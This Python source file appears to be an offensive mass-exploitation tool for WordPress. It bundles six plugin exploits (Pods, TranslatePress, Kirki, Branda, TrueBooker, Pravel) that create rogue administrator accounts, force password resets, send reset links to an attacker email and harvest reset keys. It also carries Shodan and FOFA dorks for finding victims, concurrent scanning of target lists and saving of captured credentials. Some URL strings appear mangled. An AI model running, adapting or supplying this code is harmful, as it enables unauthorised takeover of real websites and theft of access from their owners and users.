#!/usr/bin/env python3

# -*- coding: utf-8 -*-

"""

WordPress Multi-Exploit Tool

6 Exploits + Enhanced Detection + Strict Verification + Auto-Save + Debugs

CVE-2026-19598 — Pods Privilege Escalation

CVE-2026-19632 — TranslatePress Account Takeover

CVE-2026-8206 — Kirki Account Takeover

Branda <= 3.4.29 — Privilege Escalation

TrueBooker — Admin User Creation

CVE-2026-12416/12417 — Pravel Password Reset

Author: HFT404

"""

import asyncio

import aiohttp

import random

import string

import sys

import re

import argparse

import threading

import time

import os

import json

from typing import Optional, Tuple, Dict, List

# ANSI Color Codes

RED = "\033[91m"

GREEN = "\033[92m"

YELLOW = "\033[93m"

BLUE = "\033[94m"

CYAN = "\033[96m"

WHITE = "\033[97m"

MAGENTA = "\033[95m"

RESET = "\033[0m"

BANNER = f"""

{CYAN}

╔══════════════════════════════════════════════════════════════╗

║ ║

║ ██╗ ██╗███████╗████████╗ ██████╗ ██╗ ██╗ ║

║ ██║ ██║██╔════╝╚══██╔══╝██╔════╝ ██║ ██║ ║

║ ███████║█████╗ ██║ ██║ ███╗███████║ ║

║ ██╔══██║██╔══╝ ██║ ██║ ██║██╔══██║ ║

║ ██║ ██║██║ ██║ ╚██████╔╝██║ ██║ ║

║ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ║

║ ║

║ WordPress Multi-Exploit Tool ║

║ 6 Exploits Integrated ║

║ Enhanced WordPress Detection ║

║ Strict Verification ║

║ Auto-Save Results ║

║ Debug Mode ║

║ ║

╚══════════════════════════════════════════════════════════════╝

{RESET}"""

SPIN = ["⠋", "⠙", "⠹", "⠸", "⠼", "⠴", "⠦", "⠧", "⠇", "⠏"]

SPIN_FRAME = 0

SPIN_LOCK = threading.Lock()

# User Agents

USER_AGENTS = [

"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",

"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",

"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",

"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0",

]

# Dorks

FOFA_DORK = 'body="pods" || body="translatepress" || body="kirki" || body="branda" || body="truebooker" || body="pravel"'

SHODAN_DORK = 'http.html:"pods" || http.html:"translatepress" || http.html:"kirki" || http.html:"branda" || http.html:"truebooker" || http.html:"pravel"'

# Default User IDs

DEFAULT_USER_IDS = [1, 2, 3, 4, 5, 6,]

# Languages for TranslatePress

TRANSLATE_LANGUAGES = [

"fr", "es", "de", "it", "pt", "nl", "ru", "ar", "zh", "ja",

"fr_FR", "es_ES", "de_DE", "it_IT", "pt_PT", "nl_NL", "ru_RU",

"en_US", "en_GB", "pl", "tr", "ko", "vi", "th", "id", "ms",

"hi", "fa", "he", "el", "cs", "sk", "hu", "ro", "bg", "hr",

"sr", "uk", "lt", "lv", "et", "fi", "sv", "no", "da"

]

# Pravel exploits

PRAVEL_EXPLOIT_A = "pravel_change_password"

PRAVEL_EXPLOIT_B = "pravel_invoice_change_password"

PRAVEL_PASSWORD = "HFT@404..@"

PRAVEL_SUCCESS = '"activation":true'

# Results directory

RESULTS_DIR = "Results_cred"

CREDENTIALS_FILE = os.path.join(RESULTS_DIR, "credentials.txt")

WORDPRESS_FILE = os.path.join(RESULTS_DIR, "wordpress_domains.txt")

RESET_LINKS_FILE = os.path.join(RESULTS_DIR, "reset_links.txt")

KIRKI_RESULTS_FILE = os.path.join(RESULTS_DIR, "kirki_results.txt")

BRANDA_RESULTS_FILE = os.path.join(RESULTS_DIR, "branda_results.txt")

TRUEBOOKER_RESULTS_FILE = os.path.join(RESULTS_DIR, "truebooker_results.txt")

PRAVEL_RESULTS_FILE = os.path.join(RESULTS_DIR, "pravel_results.txt")

DEBUG_FILE = os.path.join(RESULTS_DIR, "debug.log")

# Lock for file writing

FILE_LOCK = threading.Lock()

# WordPress detection patterns

WP_PATTERNS = [

r'wp-content', r'wp-includes', r'wp-json', r'wordpress',

r'wp-admin', r'wp-login', r'generator.*wordpress',

r'wp-embed', r'wp-cron', r'wp-settings', r'wp-config',

]

# WordPress URLs

WP_CHECK_URLS = [

"/wp-login.php", "/wp-json/", "/wp-content/", "/wp-includes/",

"/wp-admin/", "/xmlrpc.php", "/wp-cron.php", "/readme.html",

"/license.txt", "/wp-trackback.php", "/wp-signup.php",

]

def spin_char():

global SPIN_FRAME

with SPIN_LOCK:

c = SPIN[SPIN_FRAME % len(SPIN)]

SPIN_FRAME += 1

return c

def norm_url(u: str) -> str:

u = u.strip()

if not u.lower().startswith(("http://", "https://")):

u = "https://" + u

return u.rstrip("/")

def generate_password(length=16):

chars = string.ascii_letters + string.digits + "!$%^&*()-_=+"

return ''.join(random.choices(chars, k=length))

def generate_email():

return f"hft_{random.randint(100000,999999)}@hft.com"

def generate_username():

return f"admin_{random.randint(100000,999999)}"

def extract_wp_nonce(html_content):

match = re.search(r'name="_wpnonce" value="([^"]+)"', html_content)

return match.group(1) if match else None

def ensure_results_dir():

try:

if not os.path.exists(RESULTS_DIR):

os.makedirs(RESULTS_DIR)

except Exception:

pass

def debug_log(message: str):

"""Save debug information"""

try:

ensure_results_dir()

with FILE_LOCK:

with open(DEBUG_FILE, 'a', encoding='utf-8') as f:

f.write(f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] {message}\n")

f.flush()

except Exception:

pass

def save_credentials(target_url, username, password, email="", user_id=0, exploit_type="", verified=False):

"""Save credentials with verification status"""

try:

ensure_results_dir()

login_url = f"{norm_url(/sitelet?url=https%3A%2F%2Fgithub.com%2FHackfutSecRoot%2Fmulti_exploit_wp%2Fblob%2Fmain%2Ftarget_url)}/wp-login.php"

verification = "VERIFIED" if verified else "UNVERIFIED"

line = f"{login_url}|{username}|{password}|{email}|{user_id}|{exploit_type}|{verification}\n"

with FILE_LOCK:

existing_lines = []

if os.path.exists(CREDENTIALS_FILE):

with open(CREDENTIALS_FILE, 'r', encoding='utf-8') as f:

existing_lines = f.readlines()

for existing in existing_lines:

if login_url in existing and username in existing:

return

with open(CREDENTIALS_FILE, 'a', encoding='utf-8') as f:

f.write(line)

f.flush()

debug_log(f"Credentials saved: {login_url} | {username} | {exploit_type} | {verification}")

except Exception as e:

debug_log(f"Error saving credentials: {e}")

def save_result(filename, line):

try:

ensure_results_dir()

with FILE_LOCK:

with open(filename, 'a', encoding='utf-8') as f:

f.write(line + "\n")

f.flush()

except Exception:

pass

def save_wordpress_domain(target_url, score=0):

save_result(WORDPRESS_FILE, f"{norm_url(/sitelet?url=https%3A%2F%2Fgithub.com%2FHackfutSecRoot%2Fmulti_exploit_wp%2Fblob%2Fmain%2Ftarget_url)}|{score}")

def load_targets_from_file(filepath):

targets = []

encodings = ['utf-8', 'latin-1', 'cp1252', 'iso-8859-1', 'utf-16', 'ascii']

for encoding in encodings:

try:

with open(filepath, 'r', encoding=encoding) as f:

for line in f:

line = line.strip()

if line and not line.startswith('#'):

line = line.encode('ascii', 'ignore').decode('ascii')

if line:

targets.append(line)

if targets:

return targets

except Exception:

continue

try:

with open(filepath, 'rb') as f:

content = f.read()

text = content.decode('utf-8', errors='ignore')

for line in text.split('\n'):

line = line.strip()

if line and not line.startswith('#'):

line = line.encode('ascii', 'ignore').decode('ascii')

if line:

targets.append(line)

if targets:

return targets

except Exception:

pass

return targets

async def detect_wordpress_enhanced(session, base_url, timeout=15):

"""Enhanced WordPress detection with score"""

headers = {"User-Agent": random.choice(USER_AGENTS)}

score = 0

methods = []

# Check main page

try:

async with session.get(base_url, headers=headers, ssl=False, timeout=timeout) as resp:

if resp.status == 200:

content = (await resp.text()).lower()

for pattern in WP_PATTERNS:

if re.search(pattern, content):

score += 3

methods.append(f"content:{pattern}")

break

if 'name="generator"' in content and 'wordpress' in content:

score += 5

methods.append("meta:generator")

if 'wp-json' in content:

score += 3

methods.append("link:wp-json")

for plugin in ['pods', 'translatepress', 'trp_language', 'kirki', 'branda', 'truebooker', 'pravel']:

if plugin in content:

score += 2

methods.append(f"{plugin}:detected")

except Exception:

pass

# Check headers

try:

async with session.get(base_url, headers=headers, ssl=False, timeout=5) as resp:

if 'x-pingback' in resp.headers and 'xmlrpc.php' in resp.headers['x-pingback']:

score += 5

methods.append("header:x-pingback")

if 'link' in resp.headers and 'wp-json' in resp.headers['link'].lower():

score += 3

methods.append("header:link-wp-json")

except Exception:

pass

# Check WordPress URLs

for check_path in WP_CHECK_URLS:

try:

async with session.get(f"{base_url}{check_path}", headers=headers, ssl=False, timeout=3) as resp:

if resp.status in [200, 301, 302, 403, 405]:

score += 2

methods.append(f"url:{check_path}")

except Exception:

continue

# Check license.txt

try:

async with session.get(f"{base_url}/license.txt", headers=headers, ssl=False, timeout=3) as resp:

if resp.status == 200:

if 'wordpress' in (await resp.text()).lower():

score += 5

methods.append("license:wordpress")

except Exception:

pass

debug_log(f"WordPress detection: {base_url} | Score: {score} | {', '.join(methods[:5])}")

return score >= 8, f"Score: {score} | {', '.join(methods[:5])}", score

async def verify_login_strict(session, base_url, email, password):

"""STRICT login verification - returns (success, is_admin)"""

login_url = f"{base_url}/wp-login.php"

admin_url = f"{base_url}/wp-admin/"

headers = {"User-Agent": random.choice(USER_AGENTS)}

try:

async with session.get(login_url, headers=headers, ssl=False) as resp:

if resp.status != 200:

return False, False

nonce = extract_wp_nonce(await resp.text())

data = {"log": email, "pwd": password, "wp-submit": "Log In",

"redirect_to": admin_url, "testcookie": "1"}

if nonce:

data["_wpnonce"] = nonce

async with session.post(login_url, data=data, headers=headers,

ssl=False, allow_redirects=True) as resp:

final_url = str(resp.url)

if "wp-admin" in final_url or "wp-login.php?redirect_to" in final_url:

async with session.get(admin_url, headers=headers, ssl=False) as admin_resp:

if admin_resp.status == 200:

content = await admin_resp.text()

if "Dashboard" in content or 'id="adminmenu"' in content:

debug_log(f"Login verified as ADMIN: {email}")

return True, True

if "logout" in content.lower():

debug_log(f"Login verified (not admin): {email}")

return True, False

return False, False

except Exception as e:

debug_log(f"Login verification error: {e}")

return False, False

# ============ PODS EXPLOIT (CVE-2026-19598) ============

async def check_pods(session, base):

try:

url = f"{base}/wp-admin/admin-ajax.php?action=pods_admin"

headers = {"User-Agent": random.choice(USER_AGENTS)}

async with session.get(url, headers=headers, ssl=False, timeout=10) as resp:

if resp.status == 200:

if "pods" in (await resp.text()).lower():

return True

# Check plugin directory

assets_url = f"{base}/wp-content/plugins/pods/"

async with session.get(assets_url, headers=headers, ssl=False, timeout=10) as resp:

if resp.status not in [404, 403]:

return True

return False

except Exception:

return False

async def exploit_pods(base, target_id):

"""Pods exploit with STRICT verification"""

url = f"{base}/wp-admin/admin-ajax.php"

email = generate_email()

password = generate_password()

username = generate_username()

data = {

"action": "pods_admin", "method": "save_user", "ID": str(target_id),

"user_pass": password, "user_email": email, "role": "administrator",

"display_name": username, "user_login": username,

}

headers = {"User-Agent": random.choice(USER_AGENTS),

"Content-Type": "application/x-www-form-urlencoded"}

debug_log(f"Pods exploit attempt: {base} | ID: {target_id}")

try:

connector = aiohttp.TCPConnector(ssl=False, force_close=True)

timeout_config = aiohttp.ClientTimeout(total=30, connect=10)

async with aiohttp.ClientSession(connector=connector, timeout=timeout_config) as session:

async with session.post(url, params={"meta-box-loader": "1"},

data=data, headers=headers, ssl=False) as resp:

if resp.status == 200:

login_success, is_admin = await verify_login_strict(session, base, email, password)

if login_success and is_admin:

save_credentials(base, username, password, email, target_id, "pods", verified=True)

debug_log(f"Pods SUCCESS: {base} | {username}")

return True, {"exploit": "pods", "username": username,

"password": password, "email": email}

elif login_success:

debug_log(f"Pods partial: login OK but not admin")

return False, {"note": "Login successful but NOT admin"}

else:

debug_log(f"Pods HTTP {resp.status}")

except Exception as e:

debug_log(f"Pods error: {e}")

return False, {}

# ============ TRANSLATEPRESS EXPLOIT (CVE-2026-19632) ============

async def check_translatepress(session, base):

try:

headers = {"User-Agent": random.choice(USER_AGENTS)}

for path in ["translatepress-multilingual", "translatepress"]:

url = f"{base}/wp-content/plugins/{path}/"

async with session.get(url, headers=headers, ssl=False, timeout=10) as resp:

if resp.status not in [404, 403]:

return True

# Check AJAX action

ajax_url = f"{base}/wp-admin/admin-ajax.php"

data = {"action": "trp_get_translations_regular", "language": "fr",

"string_ids": "[]", "originals": "[]", "skip_machine_translation": "[]"}

async with session.post(ajax_url, data=data, headers=headers, ssl=False, timeout=10) as resp:

if resp.status == 200:

content = await resp.text()

if "trp" in content.lower() or "translation" in content.lower():

return True

return False

except Exception:

return False

async def detect_translatepress_languages(session, base_url):

"""Detect active TranslatePress languages"""

languages = []

try:

headers = {"User-Agent": random.choice(USER_AGENTS)}

async with session.get(base_url, headers=headers, ssl=False, timeout=15) as resp:

if resp.status == 200:

content = await resp.text()

lang_patterns = [

r'data-trp-language="([^"]+)"',

r'hreflang="([^"]+)"',

r'lang="([^"]+)"',

]

for pattern in lang_patterns:

matches = re.findall(pattern, content)

for match in matches:

if match and match not in languages and len(match) <= 10:

languages.append(match)

except Exception as e:

debug_log(f"Language detection error: {e}")

if not languages:

languages = TRANSLATE_LANGUAGES

debug_log(f"TranslatePress languages: {languages[:15]}")

return languages

async def trigger_password_reset(session, base_url, username):

"""Trigger password reset with multiple data formats"""

login_url = f"{base_url}/wp-login.php?action=lostpassword"

headers = {"User-Agent": random.choice(USER_AGENTS),

"Content-Type": "application/x-www-form-urlencoded"}

data_variants = [

{"user_login": username, "redirect_to": "", "wp-submit": "Get New Password"},

{"user_login": username, "wp-submit": "Get New Password"},

]

for data in data_variants:

try:

async with session.post(login_url, data=data, headers=headers,

ssl=False, timeout=15) as resp:

if resp.status == 200:

content = await resp.text().lower()

success_indicators = ["check your email", "email sent", "password reset"]

error_indicators = ["invalid username", "invalid email", "not registered"]

if any(ind in content for ind in success_indicators) and not any(ind in content for ind in error_indicators):

debug_log(f"Password reset triggered for {username}")

return True, "Password reset email sent"

elif not any(ind in content for ind in error_indicators):

debug_log(f"Password reset possibly triggered")

return True, "Password reset possibly triggered"

except Exception as e:

debug_log(f"Reset error: {e}")

continue

return False, "Password reset failed"

async def extract_reset_key(session, base_url, language):

"""Extract reset key with multiple patterns"""

ajax_url = f"{base_url}/wp-admin/admin-ajax.php"

data_variants = [

{

"action": "trp_get_translations_regular",

"language": language,

"string_ids": json.dumps(list(range(1, 1000))),

"originals": "[]",

"skip_machine_translation": "[]",

"dynamic_strings": "false"

},

{

"action": "trp_get_translations_regular",

"language": language,

"security": "",

"string_ids": json.dumps(list(range(1, 1000))),

"originals": "[]",

"skip_machine_translation": "[]"

}

]

headers = {"User-Agent": random.choice(USER_AGENTS),

"Content-Type": "application/x-www-form-urlencoded",

"X-Requested-With": "XMLHttpRequest"}

for data in data_variants:

try:

async with session.post(ajax_url, data=data, headers=headers,

ssl=False, timeout=15) as resp:

if resp.status == 200:

content = await resp.text()

reset_patterns = [

r'wp-login\.php\?action=rp&key=([a-zA-Z0-9]+)&login=([^"\'<>\s\\]+)',

r'action=rp&key=([a-zA-Z0-9]+)&login=([^"\'<>\s\\]+)',

r'key=([a-zA-Z0-9]{20,})',

r'(https?://[^\s"\'<>]+wp-login\.php\?action=rp[^\s"\'<>]+)',

r'"key"\s*:\s*"([a-zA-Z0-9]{20,})"',

]

for pattern in reset_patterns:

match = re.search(pattern, content, re.IGNORECASE)

if match:

key = match.group(1)

login = match.group(2) if match.lastindex and match.lastindex >= 2 else ""

debug_log(f"KEY FOUND in {language}: {key}")

return key, login

# Check JSON

try:

json_data = json.loads(content)

json_str = json.dumps(json_data)

for pattern in reset_patterns:

match = re.search(pattern, json_str, re.IGNORECASE)

if match:

key = match.group(1)

debug_log(f"KEY FOUND in JSON {language}: {key}")

return key, ""

except:

pass

except Exception as e:

debug_log(f"Extraction error for {language}: {e}")

continue

return None, None

async def exploit_translatepress(base, username):

"""TranslatePress exploit with improved detection"""

base = norm_url(/sitelet?url=https%3A%2F%2Fgithub.com%2FHackfutSecRoot%2Fmulti_exploit_wp%2Fblob%2Fmain%2Fbase)

debug_log(f"=== TranslatePress exploit on {base} ===")

try:

connector = aiohttp.TCPConnector(ssl=False, force_close=True)

timeout_config = aiohttp.ClientTimeout(total=30, connect=10)

async with aiohttp.ClientSession(connector=connector, timeout=timeout_config) as session:

# Detect languages

languages = await detect_translatepress_languages(session, base)

debug_log(f"Languages: {languages[:10]}")

# Trigger reset

reset_success, reset_msg = await trigger_password_reset(session, base, username)

if not reset_success:

return False, {}, reset_msg

await asyncio.sleep(5)

# Extract key

for language in languages:

key, login = await extract_reset_key(session, base, language)

if key:

reset_url = f"{base}/wp-login.php?action=rp&key={key}"

if login:

reset_url += f"&login={login}"

save_result(RESET_LINKS_FILE, f"{base}|{reset_url}|{username}|{language}|VERIFIED")

debug_log(f"TranslatePress SUCCESS: {reset_url}")

return True, {"exploit": "translatepress", "reset_url": reset_url,

"language": language}, "Reset link found"

await asyncio.sleep(0.5)

return False, {}, "Reset key not found"

except Exception as e:

debug_log(f"TranslatePress error: {e}")

return False, {}, str(e)[:80]

# ============ KIRKI EXPLOIT (CVE-2026-8206) ============

async def check_kirki(session, base):

try:

endpoint = f"{base}/index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password"

headers = {"User-Agent": random.choice(USER_AGENTS)}

async with session.get(endpoint, headers=headers, ssl=False, timeout=10) as resp:

return resp.status in [200, 400, 405, 500]

except Exception:

return False

async def exploit_kirki(base, username, attacker_email):

"""Kirki exploit with response verification"""

endpoint = f"{base}/index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password"

payload = {

'username': username,

'email': attacker_email,

'emailSubject': 'Password Reset Requested',

'emailBody': json.dumps([

{'type': 'text', 'value': 'Click link to reset password: '},

{'type': 'chip', 'value': 'reset_link'}

])

}

debug_log(f"Kirki exploit: {base} | {username} | {attacker_email}")

try:

connector = aiohttp.TCPConnector(ssl=False, force_close=True)

timeout_config = aiohttp.ClientTimeout(total=30, connect=10)

async with aiohttp.ClientSession(connector=connector, timeout=timeout_config) as session:

headers = {'Content-Type': 'application/x-www-form-urlencoded',

'User-Agent': random.choice(USER_AGENTS)}

async with session.post(endpoint, data=payload, headers=headers, ssl=False) as resp:

response_text = await resp.text()

if resp.status == 200:

success_indicators = ['"success"', '"status":"ok"', '"sent"', '"reset"', 'password reset', 'email sent']

error_indicators = ['"error"', 'not found', 'invalid', 'failed']

has_success = any(ind in response_text.lower() for ind in success_indicators)

has_error = any(ind in response_text.lower() for ind in error_indicators)

if has_success and not has_error:

save_result(KIRKI_RESULTS_FILE, f"{base}|{username}|{attacker_email}|VERIFIED")

debug_log(f"Kirki SUCCESS (verified)")

return True, {"exploit": "kirki", "attacker_email": attacker_email}, "Reset sent (verified)"

elif not has_error:

save_result(KIRKI_RESULTS_FILE, f"{base}|{username}|{attacker_email}|UNVERIFIED")

debug_log(f"Kirki possibly sent (unverified)")

return True, {"exploit": "kirki", "attacker_email": attacker_email}, "Reset possibly sent"

else:

debug_log(f"Kirki returned error: {response_text[:100]}")

return False, {}, "Kirki returned error"

else:

debug_log(f"Kirki HTTP {resp.status}")

return False, {}, f"HTTP {resp.status}"

except Exception as e:

debug_log(f"Kirki error: {e}")

return False, {}, str(e)[:80]

# ============ BRANDA EXPLOIT ============

async def check_branda(session, base):

try:

headers = {"User-Agent": random.choice(USER_AGENTS)}

for path in ["branda", "branda-white-labeling"]:

url = f"{base}/wp-content/plugins/{path}/"

async with session.get(url, headers=headers, ssl=False, timeout=10) as resp:

if resp.status not in [404, 403]:

return True

# Check registration page

register_url = f"{base}/wp-login.php?action=register"

async with session.get(register_url, headers=headers, ssl=False, timeout=10) as resp:

if resp.status == 200:

content = await resp.text()

if 'password_1' in content or 'branda' in content.lower():

return True

return False

except Exception:

return False

async def exploit_branda(base, username, new_password):

"""Branda exploit with STRICT login verification"""

debug_log(f"Branda exploit: {base} | {username}")

try:

connector = aiohttp.TCPConnector(ssl=False, force_close=True)

timeout_config = aiohttp.ClientTimeout(total=30, connect=10)

async with aiohttp.ClientSession(connector=connector, timeout=timeout_config) as session:

email = generate_email()

headers = {"User-Agent": random.choice(USER_AGENTS),

"Content-Type": "application/x-www-form-urlencoded"}

data = {"user_login": username, "user_email": email,

"password_1": new_password, "password_2": new_password,

"wp-submit": "Register"}

async with session.post(f"{base}/wp-login.php?action=register",

data=data, headers=headers, ssl=False) as resp:

if resp.status == 200:

login_success, is_admin = await verify_login_strict(session, base, username, new_password)

if login_success and is_admin:

save_credentials(base, username, new_password, email, 0, "branda", verified=True)

debug_log(f"Branda SUCCESS: {username}")

return True, {"exploit": "branda", "username": username,

"password": new_password}, "Password changed (verified admin)"

elif login_success:

save_credentials(base, username, new_password, email, 0, "branda", verified=False)

debug_log(f"Branda partial: login OK but not admin")

return True, {"exploit": "branda", "username": username,

"password": new_password}, "Password changed (not admin)"

except Exception as e:

debug_log(f"Branda error: {e}")

return False, {}, "Branda failed"

# ============ TRUEBOOKER EXPLOIT ============

async def check_truebooker(session, base):

try:

headers = {"User-Agent": random.choice(USER_AGENTS)}

url = f"{base}/wp-content/plugins/truebooker/"

async with session.get(url, headers=headers, ssl=False, timeout=10) as resp:

return resp.status not in [404, 403]

except Exception:

return False

async def exploit_truebooker(base):

"""TrueBooker exploit with STRICT login verification"""

url = f"{base}/wp-admin/admin-ajax.php"

username = f"testuser_{random.randint(1000,9999)}"

password = generate_password(12)

email = generate_email()

alldata = (

f"truebooker_meta_box_noncename=&truebooker_user_id=1&truebooker_wp_user_id=1"

f"&truebooker_f_user_firstname=Test&truebooker_f_user_lastname=User"

f"&truebooker_f_user_email={email}&truebooker_f_user_conutry=US"

f"&truebooker_f_user_state=CA&truebooker_f_user_phone=5551234567"

f"&truebooker_f_user_city=Testville&truebooker_f_user_pincode=00000"

f"&truebooker_f_user_address1=Test+Address&truebooker_f_user_name={username}"

f"&truebooker_f_password={password}"

)

data = {"action": "admin_user_create", "security": "", "alldata": alldata}

debug_log(f"TrueBooker exploit: {base}")

try:

connector = aiohttp.TCPConnector(ssl=False, force_close=True)

timeout_config = aiohttp.ClientTimeout(total=30, connect=10)

async with aiohttp.ClientSession(connector=connector, timeout=timeout_config) as session:

headers = {"User-Agent": random.choice(USER_AGENTS),

"Content-Type": "application/x-www-form-urlencoded"}

async with session.post(url, data=data, headers=headers, ssl=False) as resp:

if resp.status == 200:

login_success, is_admin = await verify_login_strict(session, base, email, password)

if login_success and is_admin:

save_credentials(base, username, password, email, 1, "truebooker", verified=True)

debug_log(f"TrueBooker SUCCESS: {username}")

return True, {"exploit": "truebooker", "username": username,

"password": password}, "Admin created (verified)"

login_success2, is_admin2 = await verify_login_strict(session, base, username, password)

if login_success2 and is_admin2:

save_credentials(base, username, password, email, 1, "truebooker", verified=True)

debug_log(f"TrueBooker SUCCESS: {username}")

return True, {"exploit": "truebooker", "username": username,

"password": password}, "Admin created (verified)"

except Exception as e:

debug_log(f"TrueBooker error: {e}")

return False, {}, "TrueBooker failed"

# ============ PRAVEL EXPLOIT ============

async def check_pravel(session, base):

"""Check if Pravel plugin is installed"""

try:

headers = {"User-Agent": random.choice(USER_AGENTS)}

for path in ["signup-signin", "pravel-invoice", "pravel"]:

url = f"{base}/wp-content/plugins/{path}/"

try:

async with session.get(url, headers=headers, ssl=False, timeout=10) as resp:

if resp.status not in [404, 403]:

return True

except Exception:

continue

ajax_url = f"{base}/wp-admin/admin-ajax.php"

for action in [PRAVEL_EXPLOIT_A, PRAVEL_EXPLOIT_B]:

data = {"action": action, "reset_user_id": "1",

"new_password_custom": PRAVEL_PASSWORD, "reset_activation_code": ""}

try:

async with session.post(ajax_url, data=data, headers=headers,

ssl=False, timeout=10) as resp:

if resp.status == 200:

content = await resp.text()

if "activation" in content.lower():

return True

except Exception:

continue

return False

except Exception:

return False

async def exploit_pravel(base, user_id):

"""Pravel exploit with STRICT login verification"""

url = f"{base}/wp-admin/admin-ajax.php"

headers = {"User-Agent": random.choice(USER_AGENTS),

"Content-Type": "application/x-www-form-urlencoded"}

debug_log(f"Pravel exploit: {base} | ID: {user_id}")

for action in [PRAVEL_EXPLOIT_A, PRAVEL_EXPLOIT_B]:

data = {"action": action, "reset_user_id": str(user_id),

"new_password_custom": PRAVEL_PASSWORD, "reset_activation_code": ""}

try:

connector = aiohttp.TCPConnector(ssl=False, force_close=True)

timeout_config = aiohttp.ClientTimeout(total=30, connect=10)

async with aiohttp.ClientSession(connector=connector, timeout=timeout_config) as session:

async with session.post(url, data=data, headers=headers, ssl=False) as resp:

if resp.status == 200:

content = await resp.text()

if PRAVEL_SUCCESS in content or '"activation":true' in content:

for username in ["admin", "administrator"]:

login_success, is_admin = await verify_login_strict(

session, base, username, PRAVEL_PASSWORD

)

if login_success and is_admin:

save_credentials(base, username, PRAVEL_PASSWORD,

"", user_id, f"pravel-{action}", verified=True)

save_result(PRAVEL_RESULTS_FILE,

f"{base}|{username}|{PRAVEL_PASSWORD}|{action}|{user_id}|VERIFIED")

debug_log(f"Pravel SUCCESS: {username}")

return True, {"exploit": f"pravel-{action}",

"username": username,

"password": PRAVEL_PASSWORD}, "Password reset (verified)"

except Exception as e:

debug_log(f"Pravel error: {e}")

continue

return False, {}

# ============ PROCESS TARGET ============

async def process_target(target, user_ids, username, attacker_email, args):

"""Process single target - try all 6 exploits with verification"""

base = norm_url(/sitelet?url=https%3A%2F%2Fgithub.com%2FHackfutSecRoot%2Fmulti_exploit_wp%2Fblob%2Fmain%2Ftarget)

new_password = generate_password(12)

debug_log(f"=== Processing target: {base} ===")

try:

connector = aiohttp.TCPConnector(ssl=False, force_close=True)

timeout_config = aiohttp.ClientTimeout(total=args.timeout, connect=10)

async with aiohttp.ClientSession(connector=connector, timeout=timeout_config) as session:

print(f"\n{CYAN}[*] Detecting WordPress on {base}...{RESET}")

is_wp, detection_msg, score = await detect_wordpress_enhanced(session, base, args.timeout)

if not is_wp:

print(f"{RED}[-] Not WordPress: {base} | {detection_msg}{RESET}")

return False, {}, "Not WordPress"

print(f"{GREEN}[+] WordPress: {base} | {detection_msg}{RESET}")

save_wordpress_domain(base, score)

# Check all plugins

plugins = {

"Pods": await check_pods(session, base),

"TranslatePress": await check_translatepress(session, base),

"Kirki": await check_kirki(session, base),

"Branda": await check_branda(session, base),

"TrueBooker": await check_truebooker(session, base),

"Pravel": await check_pravel(session, base),

}

for name, installed in plugins.items():

status = f"{GREEN}YES{RESET}" if installed else f"{RED}NO{RESET}"

print(f"{CYAN}[*] {name}: {status}")

# Try exploits

if plugins["Pods"]:

print(f"\n{YELLOW}[*] Trying Pods exploit...{RESET}")

for uid in user_ids[:5]:

success, creds = await exploit_pods(base, uid)

if success:

return True, creds, "Pods exploit successful (VERIFIED)"

await asyncio.sleep(0.5)

if plugins["TranslatePress"]:

print(f"\n{YELLOW}[*] Trying TranslatePress exploit...{RESET}")

success, creds, msg = await exploit_translatepress(base, username)

if success:

return True, creds, "TranslatePress exploit successful"

if plugins["Kirki"]:

print(f"\n{YELLOW}[*] Trying Kirki exploit...{RESET}")

success, creds, msg = await exploit_kirki(base, username, attacker_email)

if success:

return True, creds, "Kirki exploit successful"

if plugins["Branda"]:

print(f"\n{YELLOW}[*] Trying Branda exploit...{RESET}")

success, creds, msg = await exploit_branda(base, username, new_password)

if success:

return True, creds, "Branda exploit successful (VERIFIED)"

if plugins["TrueBooker"]:

print(f"\n{YELLOW}[*] Trying TrueBooker exploit...{RESET}")

success, creds, msg = await exploit_truebooker(base)

if success:

return True, creds, "TrueBooker exploit successful (VERIFIED)"

if plugins["Pravel"]:

print(f"\n{YELLOW}[*] Trying Pravel exploit...{RESET}")

for uid in user_ids[:10]:

success, creds = await exploit_pravel(base, uid)

if success:

return True, creds, "Pravel exploit successful (VERIFIED)"

await asyncio.sleep(0.3)

if any(plugins.values()):

return False, {}, "All exploits failed"

else:

return False, {}, "No vulnerable plugin detected"

except Exception as e:

debug_log(f"Process error: {e}")

return False, {}, f"Error: {str(e)[:100]}"

async def scan_multiple_targets(targets, user_ids, username, attacker_email, args):

"""Scan multiple targets"""

semaphore = asyncio.Semaphore(args.threads)

async def scan_one(target):

async with semaphore:

success, creds, msg = await process_target(target, user_ids, username, attacker_email, args)